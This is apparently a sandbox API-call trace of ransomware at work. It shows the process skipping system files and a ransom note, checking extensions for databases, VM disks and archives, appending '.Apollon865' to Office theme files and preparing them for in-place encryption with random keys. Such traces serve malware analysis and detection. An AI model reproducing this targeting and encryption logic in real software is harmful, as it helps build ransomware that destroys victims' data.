	[0073.834] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.834] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.835] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2=".") returned 1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="..") returned 1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="windows") returned -1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgr") returned 1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="temp") returned -1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="pagefile.sys") returned -1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="boot") returned 1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="ids.txt") returned -1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.dat") returned -1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="perflogs") returned -1
	[0073.835] lstrcmpiW (lpString1="Concourse.xml", lpString2="MSBuild") returned -1
	[0073.835] lstrlenW (lpString="Concourse.xml") returned 13
	[0073.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml") returned 79
	[0073.835] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Concourse.xml" | out: lpString1="Concourse.xml") returned="Concourse.xml"
	[0073.835] lstrlenW (lpString="Concourse.xml") returned 13
	[0073.835] lstrlenW (lpString="Apollon865") returned 10
	[0073.835] lstrcmpiW (lpString1="course.xml", lpString2="Apollon865") returned 1
	[0073.836] lstrlenW (lpString=".dll") returned 4
	[0073.836] lstrcmpiW (lpString1="Concourse.xml", lpString2=".dll") returned 1
	[0073.836] lstrlenW (lpString=".lnk") returned 4
	[0073.836] lstrcmpiW (lpString1="Concourse.xml", lpString2=".lnk") returned 1
	[0073.836] lstrlenW (lpString=".ini") returned 4
	[0073.836] lstrcmpiW (lpString1="Concourse.xml", lpString2=".ini") returned 1
	[0073.836] lstrlenW (lpString=".sys") returned 4
	[0073.836] lstrcmpiW (lpString1="Concourse.xml", lpString2=".sys") returned 1
	[0073.836] lstrlenW (lpString="Concourse.xml") returned 13
	[0073.836] lstrlenW (lpString="bak") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.836] lstrlenW (lpString="ba_") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.836] lstrlenW (lpString="dbb") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.836] lstrlenW (lpString="vmdk") returned 4
	[0073.836] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.836] lstrlenW (lpString="rar") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.836] lstrlenW (lpString="zip") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.836] lstrlenW (lpString="tgz") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.836] lstrlenW (lpString="vbox") returned 4
	[0073.836] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.836] lstrlenW (lpString="vdi") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.836] lstrlenW (lpString="vhd") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.836] lstrlenW (lpString="vhdx") returned 4
	[0073.836] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.836] lstrlenW (lpString="avhd") returned 4
	[0073.836] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.836] lstrlenW (lpString="db") returned 2
	[0073.836] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.836] lstrlenW (lpString="db2") returned 3
	[0073.836] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.837] lstrlenW (lpString="db3") returned 3
	[0073.837] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.837] lstrlenW (lpString="dbf") returned 3
	[0073.837] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.837] lstrlenW (lpString="mdf") returned 3
	[0073.837] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.837] lstrlenW (lpString="mdb") returned 3
	[0073.837] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.837] lstrlenW (lpString="sql") returned 3
	[0073.837] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.837] lstrlenW (lpString="sqlite") returned 6
	[0073.837] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0073.837] lstrlenW (lpString="sqlite3") returned 7
	[0073.837] lstrcmpiW (lpString1="rse.xml", lpString2="sqlite3") returned -1
	[0073.837] lstrlenW (lpString="sqlitedb") returned 8
	[0073.837] lstrcmpiW (lpString1="urse.xml", lpString2="sqlitedb") returned 1
	[0073.837] lstrlenW (lpString="xml") returned 3
	[0073.837] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.837] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.Apollon865") returned 90
	[0073.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.838] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=964) returned 1
	[0073.838] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.839] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.839] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.839] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.841] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.841] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.842] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.842] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2=".") returned 1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="..") returned 1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="windows") returned -1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgr") returned 1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="temp") returned -1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="pagefile.sys") returned -1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="boot") returned 1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="ids.txt") returned -1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.dat") returned -1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="perflogs") returned -1
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2="MSBuild") returned -1
	[0073.843] lstrlenW (lpString="Couture.xml") returned 11
	[0073.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml") returned 79
	[0073.843] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Couture.xml" | out: lpString1="Couture.xml") returned="Couture.xml"
	[0073.843] lstrlenW (lpString="Couture.xml") returned 11
	[0073.843] lstrlenW (lpString="Apollon865") returned 10
	[0073.843] lstrcmpiW (lpString1="outure.xml", lpString2="Apollon865") returned 1
	[0073.843] lstrlenW (lpString=".dll") returned 4
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2=".dll") returned 1
	[0073.843] lstrlenW (lpString=".lnk") returned 4
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2=".lnk") returned 1
	[0073.843] lstrlenW (lpString=".ini") returned 4
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2=".ini") returned 1
	[0073.843] lstrlenW (lpString=".sys") returned 4
	[0073.843] lstrcmpiW (lpString1="Couture.xml", lpString2=".sys") returned 1
	[0073.843] lstrlenW (lpString="Couture.xml") returned 11
	[0073.843] lstrlenW (lpString="bak") returned 3
	[0073.843] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.843] lstrlenW (lpString="ba_") returned 3
	[0073.843] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.844] lstrlenW (lpString="dbb") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.844] lstrlenW (lpString="vmdk") returned 4
	[0073.844] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.844] lstrlenW (lpString="rar") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.844] lstrlenW (lpString="zip") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.844] lstrlenW (lpString="tgz") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.844] lstrlenW (lpString="vbox") returned 4
	[0073.844] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.844] lstrlenW (lpString="vdi") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.844] lstrlenW (lpString="vhd") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.844] lstrlenW (lpString="vhdx") returned 4
	[0073.844] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.844] lstrlenW (lpString="avhd") returned 4
	[0073.844] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.844] lstrlenW (lpString="db") returned 2
	[0073.844] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.844] lstrlenW (lpString="db2") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.844] lstrlenW (lpString="db3") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.844] lstrlenW (lpString="dbf") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.844] lstrlenW (lpString="mdf") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.844] lstrlenW (lpString="mdb") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.844] lstrlenW (lpString="sql") returned 3
	[0073.844] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.844] lstrcmpiW (lpString1="re.xml", lpString2="sqlite") returned -1
	[0073.845] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.Apollon865") returned 88
	[0073.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.846] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=962) returned 1
	[0073.846] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.847] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.847] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.847] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.849] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.849] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.850] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.850] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.851] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Elemental.xml" | out: lpString1="Elemental.xml") returned="Elemental.xml"
	[0073.851] lstrlenW (lpString="Elemental.xml") returned 13
	[0073.851] lstrlenW (lpString="Apollon865") returned 10
	[0073.851] lstrcmpiW (lpString1="mental.xml", lpString2="Apollon865") returned 1
	[0073.851] lstrlenW (lpString=".dll") returned 4
	[0073.851] lstrcmpiW (lpString1="Elemental.xml", lpString2=".dll") returned 1
	[0073.851] lstrlenW (lpString=".lnk") returned 4
	[0073.851] lstrcmpiW (lpString1="Elemental.xml", lpString2=".lnk") returned 1
	[0073.851] lstrlenW (lpString=".ini") returned 4
	[0073.851] lstrcmpiW (lpString1="Elemental.xml", lpString2=".ini") returned 1
	[0073.851] lstrlenW (lpString=".sys") returned 4
	[0073.851] lstrcmpiW (lpString1="Elemental.xml", lpString2=".sys") returned 1
	[0073.851] lstrlenW (lpString="Elemental.xml") returned 13
	[0073.851] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.Apollon865") returned 90
	[0073.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.853] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=964) returned 1
	[0073.853] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.854] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.854] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.854] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.855] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.856] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.857] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.857] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.857] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Equity.xml" | out: lpString1="Equity.xml") returned="Equity.xml"
	[0073.857] lstrlenW (lpString="Equity.xml") returned 10
	[0073.857] lstrlenW (lpString="Apollon865") returned 10
	[0073.857] lstrlenW (lpString=".dll") returned 4
	[0073.857] lstrcmpiW (lpString1="Equity.xml", lpString2=".dll") returned 1
	[0073.857] lstrlenW (lpString=".lnk") returned 4
	[0073.857] lstrcmpiW (lpString1="Equity.xml", lpString2=".lnk") returned 1
	[0073.858] lstrlenW (lpString=".ini") returned 4
	[0073.858] lstrcmpiW (lpString1="Equity.xml", lpString2=".ini") returned 1
	[0073.858] lstrlenW (lpString=".sys") returned 4
	[0073.858] lstrcmpiW (lpString1="Equity.xml", lpString2=".sys") returned 1
	[0073.858] lstrlenW (lpString="Equity.xml") returned 10
	[0073.858] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.Apollon865") returned 87
	[0073.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.859] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=961) returned 1
	[0073.859] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.860] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.860] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.860] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.861] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.862] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.863] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.863] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.863] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Essential.xml" | out: lpString1="Essential.xml") returned="Essential.xml"
	[0073.863] lstrlenW (lpString="Essential.xml") returned 13
	[0073.863] lstrlenW (lpString="Apollon865") returned 10
	[0073.863] lstrcmpiW (lpString1="ential.xml", lpString2="Apollon865") returned 1
	[0073.863] lstrlenW (lpString=".dll") returned 4
	[0073.863] lstrcmpiW (lpString1="Essential.xml", lpString2=".dll") returned 1
	[0073.863] lstrlenW (lpString=".lnk") returned 4
	[0073.863] lstrcmpiW (lpString1="Essential.xml", lpString2=".lnk") returned 1
	[0073.863] lstrlenW (lpString=".ini") returned 4
	[0073.863] lstrcmpiW (lpString1="Essential.xml", lpString2=".ini") returned 1
	[0073.863] lstrlenW (lpString=".sys") returned 4
	[0073.863] lstrcmpiW (lpString1="Essential.xml", lpString2=".sys") returned 1
	[0073.864] lstrlenW (lpString="Essential.xml") returned 13
	[0073.864] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.Apollon865") returned 90
	[0073.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.865] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=928) returned 1
	[0073.865] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.866] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.866] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.866] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0073.867] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0073.868] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.868] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.868] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.869] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Executive.xml" | out: lpString1="Executive.xml") returned="Executive.xml"
	[0073.869] lstrlenW (lpString="Executive.xml") returned 13
	[0073.869] lstrlenW (lpString="Apollon865") returned 10
	[0073.869] lstrcmpiW (lpString1="cutive.xml", lpString2="Apollon865") returned 1
	[0073.869] lstrlenW (lpString=".dll") returned 4
	[0073.869] lstrcmpiW (lpString1="Executive.xml", lpString2=".dll") returned 1
	[0073.869] lstrlenW (lpString=".lnk") returned 4
	[0073.869] lstrcmpiW (lpString1="Executive.xml", lpString2=".lnk") returned 1
	[0073.869] lstrlenW (lpString=".ini") returned 4
	[0073.869] lstrcmpiW (lpString1="Executive.xml", lpString2=".ini") returned 1
	[0073.869] lstrlenW (lpString=".sys") returned 4
	[0073.869] lstrcmpiW (lpString1="Executive.xml", lpString2=".sys") returned 1
	[0073.869] lstrlenW (lpString="Executive.xml") returned 13
	[0073.869] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.Apollon865") returned 90
	[0073.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.870] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=964) returned 1
	[0073.871] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.871] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.871] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.872] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.873] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.873] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.874] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.874] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.875] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Flow.xml" | out: lpString1="Flow.xml") returned="Flow.xml"
	[0073.875] lstrlenW (lpString="Flow.xml") returned 8
